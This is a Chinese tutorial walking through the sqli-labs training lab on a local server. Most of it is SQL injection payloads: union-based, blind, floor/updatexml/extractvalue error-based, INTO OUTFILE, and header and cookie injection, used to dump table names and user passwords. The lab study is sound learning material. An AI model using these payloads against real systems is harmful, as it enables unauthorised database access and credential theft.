Java教程

基于sqli-labs靶场的sql注入学习基础篇

本文主要是介绍基于sqli-labs靶场的sql注入学习基础篇,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

一、SQL简介

SQL是一种查询语言,是一种访问和处理数据库,包括数据插入、查询、更新和删除。

具体功能总结如下

  • 可以对数据库进行查询并取得数据❗
  • 可以向数据库插入或删除记录❗
  • 可以建立数据库,表❗
  • 可以设置表,储存过程和视图的权限❗

示例

(基于sqli-labs靶场)#

先了解几个简单的语句

  • version():查看数据库版本
  • user():查看当前用户
  • database():查看使用的数据库
  • group_concat():一次性获取数据库信息
  • select 字段名 from 表名
  • select的后面表示筛选的内容,from的后面表示筛选内容来自的位置,where的后面表示筛选的条件

1-4关基于错误的字符串/数字型注入#

 

 

根据要求看出需要构建一个id参数值

首先判断是否为数字型注入,像这样输入回显正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

 

 

 

将后面的?id=1改为?id=1 and 1=1--+和?id=1 and 1=2--+发现回显都正常

于是判断一下是否为字符型注入,这里改变一下闭合的符号

像这样输入会报错

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

把报错拿出来分析

ctf赛题没有报错,这里只是靶场练习

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

''1'' LIMIT 0,1'这两个单引号包含部分就是报错部分

'1'是数据库中的完整部分,后面多个引号也是在说明属于字符型注入

像上面一样,将后面的?id=1改为?id=1 and 1=1--+和?id=1 and 1=2--+发现1=1时正常回显而1=2时没有回显

然后使用order by来确定表中的列数,为什么要确定表中字段的列数呢?是因为union联合查询的特点

union联合查询特点

  • 要求多条查询语句的查询列数是一致的
  • 要求多条查询语句的查询的每一列的类型和顺序最好一致

于是构造

  • ?id=1' order by 1--+  页面回显正常
  • ?id=1' order by 2--+  页面回显正常
  • ?id=1' order by 3--+  页面回显正常
  • ?id=1' order by 4--+  出现报错界面

篇幅问题我只展示了order by 4的报错这个

然后就确定了字段数,于是用联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+ 

(将id弄成一个负数的值或者是0,使前面的语句失效)然后看看union查询是否有回显位

这样就看到了2,3这两个回显位

然后利用union查询,查看数据库的版本和数据库名,这里面再补充点知识点

  • version():查看数据库版本
  • database():查看使用的数据库
  • user():查看当前用户
  • limit:limit子句分批来获取所有数据
  • group_concat():一次性获取所有的数据库信息

接着利用回显位查询数据库和数据库版本信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+

 

 

下一步爆表

再爆表之前先了解一波知识点:

  • information_schema.tables:包含了数据库里所有的表
  • table_name:表名
  • table_schema:数据库名
  • column_name:字段名

开始爆表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

 

 

查看users这个表上的字段名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),database() --+

 

 

然后从username和passwor字段上获得信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+

以上是第一关的教程

第二关属于数字型注入,开始判断的过程没有那个单引号?id=1就可以,后面的步骤相同

第三关在第一关的基础上加了一个右括号?id=1')即可

第四关在第三关的基础上将'改为" ?id=")即可

第五—六关

关于获取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。

判断注入类型#

首先http://127.0.0.1/sqli-labs-master/Less-5/?id=1

出现下面的页面

发现这里没有回显为,通常有三种做法:布尔注入、时间延迟注入、报错注入

先用http://127.0.0.1/sqli-labs-master/Less-5/?id=1 and 1=1

再用http://127.0.0.1/sqli-labs-master/Less-5/?id=1 and 1=2

 

发现回显相同,则这里不是数字型注入

用http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘

发现报错所以一定存在注入漏洞

用http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1 --+

用http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=2 --+

发现两次回显不相同,那么这里应该是字符型注入,单引号闭合

同样用二分法判断字段长度#

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3--+

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3--+

爆库名长度#

?id=1' and length(database())=8 --+时有回显

接下来就是进行数据库名称的爆破:#

?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >’a'--+ 通过二分法不断缩小范围。可以不断的爆出出数据库名称

接下来进行数据库下表的爆破:#

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+第一张表的第一个字母'e'

接下来继续爆列,得出第二列是用户名,第三列是密码;#

?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database()limit 2,1),8)='password' --+

以上是盲注的内容这个最好还是程序化的跑脚本比较好,手工注入费时

floor报错注入的方法#

这里先指明几个知识点#

因主键具有唯一性,利用主键重复导致报错,以此提取错误信息。

as其实就是一个别名的作用

union select 1,count(),concat((注入语句),floor(rand()*2))as a from information_schema.columns group by a --+

floor()、rand()、group by语句相结合的报错:

1、rand()函数:
rand()返回0到1的随机数。
rand(0)返回一个固定的0到1的伪随机数。

2、floor()函数:
floor(x)返回小于或等于 x 的最大整数。

3、group by语句:
group by语句可以根据一个或多个列对结果集进行分组,在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。

详见floor报错注入原理 - Joker-qi - 博客园 (cnblogs.com)

开始floor报错注入#

?id=1' union select count(),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()2))as a from information_schema.tables group by a limit 0,10 --+

?id=1' union select 1,2,3 from (select count(),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a --+

?id=1' union select 1,count(),concat((select password from users limit 2,1),floor(rand(0)2))as x from information_schema.tables group by x --+

updatexml的报错注入#

?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+,database()处可换成任意SQL语句

?id=1' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) --+

?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+

可将substr函数里的1处依次加31.(因为每次只能查出31为字符)

第六题闭合改为双引号即可

第七题

这里第七题打开后发现

这个与之前的不同,这里说明了要使用outfile函数

outfile函数#

就是将数据库的查询内容导到一个外部文件

这里用老办法试出闭合为’))

用show variables like ‘%secure%’;查看本机数据库的导出目录,如果随便导出到一个文件夹就会报错(secure_file_priv所对于的目录就是可以导出文件的地址)

?id=-1')) union select 1,database(),user() into outfile"D:/phpstudy_pro/WWW/1.txt" --+用这个句型可以查询数据

改动祥见1-4关笔记

第八、九、十关用盲注做祥见less-5;

第十一、十二关

打开第十一关发现他有个登录栏#

首先尝试用弱口令登录#

登录成功

输入单引号引起报错#

这个是属于单引号闭合;

用二分法得列数#

' order by 1#

这里将数字一逐个加一直到回显改变

这里我们就可以知道这个列数为二

判断回显位置#

' union select 1,2#

查询数据库名,和当前用户名#

' union select database(),user()#

爆表#

' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

看users这个表上面的字段名#

' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

查询用户名和密码#

' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

 第十二关将’改为“)即可

第十三关

这个题打开后

先用弱口令登录发现登录上但是没有回显,考虑使用报错注入

首先了解一波报错的句型#

floor报错#

union select 1,count(),concat((注入语句),floor(rand()*2))as a from information_schema.columns group by a

祥见5-6关

updatexml报错#

and updatexml(1,concat(注入语句),1)

extractvalue报错#

and (extractvalue(1,concat(注入语句)))

先用floor报错#

') union select count(),concat((select user()),floor(rand(0)2))a from information_schema.columns group by a#

') union select count(),concat((select password from users),floor(rand(0)2))a from information_schema.tables group by a#

用updatexml报错#

') and updatexml(1,concat(0x7e,database(),0x7e),1)#

') and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1)#

用extractvalue报错#

') and extractvalue(0x7e,(select database()),0x7e))#

第十四题闭合为”其余参考十三题

 

第十七关

打开发现如图#

 

 

PASSWORD RESET他这里显示重置密码

这里对账号框尝试了很多闭合发现都登录失败于是我投考了度娘,打开了PHP文件

 

 

这里我们可以看到,他先审核了账号,如果账号存在则对密码进行操作可知,这个注入点在密码框里且使用单引号闭合

下面开始爆库名#

User Name上面输入admin

New Password上面用1‘ and updatexml(1,concat(0x5e,database(),0x5e),1)#

 

 

爆名成功,其余步骤见第5-6关

首先了解下updatexml()函数

PDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:

updatexml(1,concat(0x7e,(`SELECT `@@version),0x7e),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ``':root@localhost'

开始做第十八关

打开第十八关发现网页显示了我们的IP

 

 

先登录一下试试

 

 

登录后,网页显示了我们的User Agent,可以猜测网页将我们的信息插入到数据库中,再返回到页面上。只有与数据库有交互,就有可能存在注入点,因此我们尝试修改User Agent字段。这里使用了bp抓包工具,先抓取一个登录成功的包

 

 

再发送到repeater里,方便修改数据测试

 

 

先发送一个正常的数据包

 

 

可以看到返回正常我们将UA改成一个单引号重新发送

 

 

这里出现了报错,很明显存在注入,这里是insert插入语句,所以我们用报错注入将UA改成

1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1

爆出数据库

 

 

接下来爆表

1' and updatexml(1,concat(0x5e,(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1)),0x5e),1) and '1

 

 

接下来爆字段名

1' and updatexml(1,concat(0x5e,(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1)),0x5e),1) and '1

 

 

接下来爆字段上的信息

1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) and '1

 

 

第十九关是基于Referer的注入

 

 

 

其余步骤详见第十八关

 

第二十关

什么是cookie注入?#

cookie注入的原理是:就是修改cookie的值进行注入(cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie)

2.怎样cookie注入?#

cookie注入跟普通sql注入过程一样:

1.判断是不是注入点

2.得到字段总数

3.查选表名

4.查选列名

5.脱库

发现如下,我们先用弱密码登录

 

 

 

登录成功发现

这里我们代码审计查看后台源码

可以看到注入点在cookie且为单引号闭合,又是select * from这里要用二分法猜字段。

我们抓包后将Cookie改成1'

报错,这里用二分法查字段#

 

 

 

1' order by 4#时报错

联合查询1' union select 1,2,3#

 

 

 

23位回显

爆数据库名和版本号#

1' union select 1,database(),version()#

 

 

 

爆表名#

1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

爆字段名#

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')#

爆字段上的信息#

1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)#

完成注入

 基础篇到此结束

这篇关于基于sqli-labs靶场的sql注入学习基础篇的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!